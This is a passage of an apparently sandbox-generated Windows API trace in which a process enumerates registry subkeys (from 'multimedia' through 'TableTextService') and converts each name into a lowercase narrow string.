lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0229.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x35c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0229.267] RegEnumKeyW (in: hKey=0x38, dwIndex=0x46, lpName=0x35b930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0229.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0229.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x35c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napserver", lpUsedDefaultChar=0x0) returned 9 [0229.267] RegEnumKeyW (in: hKey=0x38, dwIndex=0x47, lpName=0x35b930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0229.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0229.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x35c0d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="net framework setup", lpUsedDefaultChar=0x0) returned 19 [0229.267] RegEnumKeyW (in: hKey=0x38, dwIndex=0x48, lpName=0x35b930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0229.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0229.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x35c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh", lpUsedDefaultChar=0x0) returned 5 [0229.268] RegEnumKeyW (in: hKey=0x38, dwIndex=0x49, lpName=0x35b930, cchName=0x104 | out: lpName="Network") returned 0x0 [0229.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0229.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x35c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0229.268] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4a, lpName=0x35b930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0229.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0229.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x35c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="networkaccessprotection", lpUsedDefaultChar=0x0) returned 23 [0229.268] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4b, lpName=0x35b930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0229.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0229.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x35c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="non-driver signing", lpUsedDefaultChar=0x0) returned 18 [0229.268] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4c, lpName=0x35b930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0229.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0229.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x35c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0229.268] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4d, lpName=0x35b930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0229.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0229.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x35c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", lpUsedDefaultChar=0x0) returned 4 [0229.268] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4e, lpName=0x35b930, cchName=0x104 | out: lpName="Office") returned 0x0 [0229.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0229.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x35c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0229.268] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4f, lpName=0x35b930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0229.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0229.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x35c0d8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="officesoftwareprotectionplatform", lpUsedDefaultChar=0x0) returned 32 [0229.269] RegEnumKeyW (in: hKey=0x38, dwIndex=0x50, lpName=0x35b930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0229.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0229.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x35c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ole", lpUsedDefaultChar=0x0) returned 3 [0229.269] RegEnumKeyW (in: hKey=0x38, dwIndex=0x51, lpName=0x35b930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0229.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0229.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x35c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook express", lpUsedDefaultChar=0x0) returned 15 [0229.269] RegEnumKeyW (in: hKey=0x38, dwIndex=0x52, lpName=0x35b930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0229.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0229.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x35c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0229.269] RegEnumKeyW (in: hKey=0x38, dwIndex=0x53, lpName=0x35b930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0229.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0229.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x35c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powershell", lpUsedDefaultChar=0x0) returned 10 [0229.269] RegEnumKeyW (in: hKey=0x38, dwIndex=0x54, lpName=0x35b930, cchName=0x104 | out: lpName="Print") returned 0x0 [0229.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0229.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x35c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="print", lpUsedDefaultChar=0x0) returned 5 [0229.269] RegEnumKeyW (in: hKey=0x38, dwIndex=0x55, lpName=0x35b930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0229.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0229.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x35c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="radar", lpUsedDefaultChar=0x0) returned 5 [0229.269] RegEnumKeyW (in: hKey=0x38, dwIndex=0x56, lpName=0x35b930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0229.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0229.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x35c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras", lpUsedDefaultChar=0x0) returned 3 [0229.269] RegEnumKeyW (in: hKey=0x38, dwIndex=0x57, lpName=0x35b930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0229.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0229.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x35c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0229.270] RegEnumKeyW (in: hKey=0x38, dwIndex=0x58, lpName=0x35b930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0229.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0229.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x35c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reliability analysis", lpUsedDefaultChar=0x0) returned 20 [0229.270] RegEnumKeyW (in: hKey=0x38, dwIndex=0x59, lpName=0x35b930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0229.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0229.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x35c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="removaltools", lpUsedDefaultChar=0x0) returned 12 [0229.270] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5a, lpName=0x35b930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0229.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0229.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x35c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rendezvousapps", lpUsedDefaultChar=0x0) returned 14 [0229.270] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5b, lpName=0x35b930, cchName=0x104 | out: lpName="Router") returned 0x0 [0229.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0229.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x35c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="router", lpUsedDefaultChar=0x0) returned 6 [0229.270] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5c, lpName=0x35b930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0229.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0229.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x35c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpc", lpUsedDefaultChar=0x0) returned 3 [0229.271] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5d, lpName=0x35b930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0229.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0229.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x35c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedulingagent", lpUsedDefaultChar=0x0) returned 15 [0229.271] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5e, lpName=0x35b930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0229.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0229.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x35c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schema library", lpUsedDefaultChar=0x0) returned 14 [0229.271] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5f, lpName=0x35b930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0229.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0229.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x35c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security center", lpUsedDefaultChar=0x0) returned 15 [0229.271] RegEnumKeyW (in: hKey=0x38, dwIndex=0x60, lpName=0x35b930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0229.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0229.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x35c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensors", lpUsedDefaultChar=0x0) returned 7 [0229.271] RegEnumKeyW (in: hKey=0x38, dwIndex=0x61, lpName=0x35b930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0229.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0229.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x35c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0229.271] RegEnumKeyW (in: hKey=0x38, dwIndex=0x62, lpName=0x35b930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0229.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0229.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x35c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0229.271] RegEnumKeyW (in: hKey=0x38, dwIndex=0x63, lpName=0x35b930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0229.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0229.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x35c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools location", lpUsedDefaultChar=0x0) returned 21 [0229.271] RegEnumKeyW (in: hKey=0x38, dwIndex=0x64, lpName=0x35b930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0229.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0229.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x35c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0229.272] RegEnumKeyW (in: hKey=0x38, dwIndex=0x65, lpName=0x35b930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0229.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0229.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x35c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snippingtool", lpUsedDefaultChar=0x0) returned 12 [0229.272] RegEnumKeyW (in: hKey=0x38, dwIndex=0x66, lpName=0x35b930, cchName=0x104 | out: lpName="Software") returned 0x0 [0229.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0229.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x35c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0229.272] RegEnumKeyW (in: hKey=0x38, dwIndex=0x67, lpName=0x35b930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0229.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0229.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x35c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0229.272] RegEnumKeyW (in: hKey=0x38, dwIndex=0x68, lpName=0x35b930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0229.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0229.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x35c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0229.272] RegEnumKeyW (in: hKey=0x38, dwIndex=0x69, lpName=0x35b930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0229.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0229.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x35c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sync framework", lpUsedDefaultChar=0x0) returned 14 [0229.272] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6a, lpName=0x35b930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0229.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0229.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x35c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysprep", lpUsedDefaultChar=0x0) returned 7 [0229.272] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6b, lpName=0x35b930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0229.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0229.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x35c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0229.273] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6c, lpName=0x35b930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0229.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0229.273] WideCharToMultiByte (in: CodePage=0x0, 